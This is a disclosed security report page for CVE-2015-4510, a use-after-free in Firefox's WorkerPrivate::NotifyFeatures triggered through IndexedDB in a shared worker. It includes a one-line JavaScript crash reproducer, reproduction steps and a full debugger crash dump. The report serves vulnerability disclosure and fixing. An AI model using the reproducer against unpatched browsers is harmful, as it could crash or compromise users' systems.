Skip to content
Memory corruption Disclosed report CVE-2015-4510

IDB - Use After Free in WorkerPrivate::NotifyFeatures

Looben Yang Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 9 days
  • Paid in 15 days
  • Disclosed after 9 days

Created attachment 8654588 Uaf_IdbNotifyFeatures.js

Use IndexedDB in shared worker can trigger Use After Free in WorkerPrivate::NotifyFeatures.

Reproduction test case (just the shared worker code, for full test case please refer to attachment Uaf_IdbNotifyFeatures.js is attached):

var dbreq0= indexedDB.open("TestDb1", {version: 2, storage: "persistent"}); close(); if(nonexistvariable!=undefined) {var whatever;};

Steps to reproduce:

  1. Run server side script Uaf_IdbNotifyFeatures.js in Node.js (node Uaf_IdbNotifyFeatures.js).
  2. Enter http://localhost:12345 in Firefox browser.

Firefox version: 43.0a1 (2015-08-28) Full call stack:

(c6c.273c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0806e9b8 ebx=08006c00 ecx=0806e9a8 edx=00000002 esi=08006f0c edi=08006c00 eip=07221f41 esp=084ff3e4 ebp=084ff438 iopl=0 nv up ei pl nz na po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203 07221f41 0000 add byte ptr [eax],al ds:002b:0806e9b8=60 1:082> !analyze -v


  •                                                                         *
    
  •                    Exception Analysis                                   *
    
  •                                                                         *
    

FAULTING_IP: unknown!noop+0 07221f41 0000 add byte ptr [eax],al

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 07221f41 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000008 Parameter[1]: 07221f41 Attempt to execute non-executable address 07221f41

CONTEXT: 00000000 -- (.cxr 0x0;r) eax=0806e9b8 ebx=08006c00 ecx=0806e9a8 edx=00000002 esi=08006f0c edi=08006c00 eip=07221f41 esp=084ff3e4 ebp=084ff438 iopl=0 nv up ei pl nz na po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203 07221f41 0000 add byte ptr [eax],al ds:002b:0806e9b8=60

FAULTING_THREAD: 0000273c

DEFAULT_BUCKET_ID: SOFTWARE_NX_FAULT

PROCESS_NAME: plugin-container.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: 07221f41

WRITE_ADDRESS: 07221f41

FOLLOWUP_IP: unknown!noop+0 07221f41 0000 add byte ptr [eax],al

FAILED_INSTRUCTION_ADDRESS: unknown!noop+0 07221f41 0000 add byte ptr [eax],al

NTGLOBALFLAG: 70

APPLICATION_VERIFIER_FLAGS: 0

APP: plugin-container.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

IP_ON_HEAP: 07221f41 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded.

PRIMARY_PROBLEM_CLASS: SOFTWARE_NX_FAULT

BUGCHECK_STR: APPLICATION_FAULT_SOFTWARE_NX_FAULT

LAST_CONTROL_TRANSFER: from 1048618f to 07221f41

STACK_TEXT:
WARNING: Frame IP not in any known module. Following frames may be wrong. 084ff3e0 1048618f 04b52320 00000004 00000000 0x7221f41 084ff438 100761e7 04b52320 00000004 04b52320 xul!mozilla::dom::workers::WorkerPrivate::NotifyFeatures+0x40fefc 084ff4c0 1021ca8a 04b52320 00000004 084ff5dc xul!mozilla::dom::workers::WorkerPrivate::NotifyInternal+0x7b 084ff4d0 10073700 04b52320 08006c00 076394a0 xul!anonymous namespace'::NotifyRunnable::WorkerRun+0x11 084ff5dc 100764be 076394a0 08006e8c 07fdc968 xul!mozilla::dom::workers::WorkerRunnable::Run+0x1b0 084ff610 10075bb5 04b52320 0808b000 08097c80 xul!mozilla::dom::workers::WorkerPrivate::ProcessAllControlRunnablesLocked+0xa3 084ff65c 0fcbdb7d 04b52320 00000000 0804ff80 xul!mozilla::dom::workers::WorkerPrivate::DoRunLoop+0xbe 084ff774 10015770 08097c80 07f2d7c0 084ff801 xul!anonymous namespace'::WorkerThreadPrimaryRunnable::Run+0x109 084ff86c 10016792 0804ff80 084ff801 084ff887 xul!nsThread::ProcessNextEvent+0x72c 084ff888 102440bf 07f2d7c0 07f2d7c0 02c15b70 xul!NS_ProcessNextEvent+0x1a 084ff8ac 10013b35 07f2d7c0 d1888788 0804ff80 xul!mozilla::ipc::MessagePumpForNonMainThreads::Run+0xab 084ff8e4 10013bf8 07f2d7c0 00000001 0804ff00 xul!MessageLoop::RunHandler+0x20 084ff904 101a2d9e 776524f0 02c15ac0 02c15b70 xul!MessageLoop::Run+0x19 084ff91c 028c257f 0804ff80 0f78bfb4 07911fc8 xul!nsThread::ThreadFunc+0x8c 084ff938 028c1d04 02c15ac0 084ff97c 0f78c01d nss3!_PR_NativeRunThread+0x8c 084ff944 0f78c01d 02c15ac0 c0408c86 0f78bfb4 nss3!pr_root+0xd 084ff97c 0f78c001 0f78bfb4 084ff99c 77657c04 MSVCR120!_callthreadstartex+0x1b 084ff988 77657c04 07901a68 77657be0 b7a6d8c8 MSVCR120!_threadstartex+0x7c 084ff99c 77dcad1f 07901a68 b7364a4f 00000000 KERNEL32!BaseThreadInitThunk+0x24 084ff9e4 77dcacea ffffffff 77db0228 00000000 ntdll!__RtlUserThreadStart+0x2f 084ff9f4 00000000 0f78bfb4 07901a68 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND: .cxr 0x0 ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: unknown!noop+0

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: unknown

IMAGE_NAME: unknown

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAILURE_BUCKET_ID: SOFTWARE_NX_FAULT_c0000005_unknown!noop

BUCKET_ID: APPLICATION_FAULT_SOFTWARE_NX_FAULT_BAD_IP_unknown!noop+0

ANALYSIS_SOURCE: UM

FAILURE_ID_HASH_STRING: um:software_nx_fault_c0000005_unknown!noop

FAILURE_ID_HASH: {ac0d80f2-b5ab-6e06-97ce-8f3501b5f44a}

Followup: MachineOwner

The original report as published on Mozilla's Bugzilla, by Looben Yang. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A critical-severity memory corruption bug in Storage: IndexedDB. Mozilla made it public on 8 September 2015 as CVE-2015-4510.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Looben Yang

View all

50 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.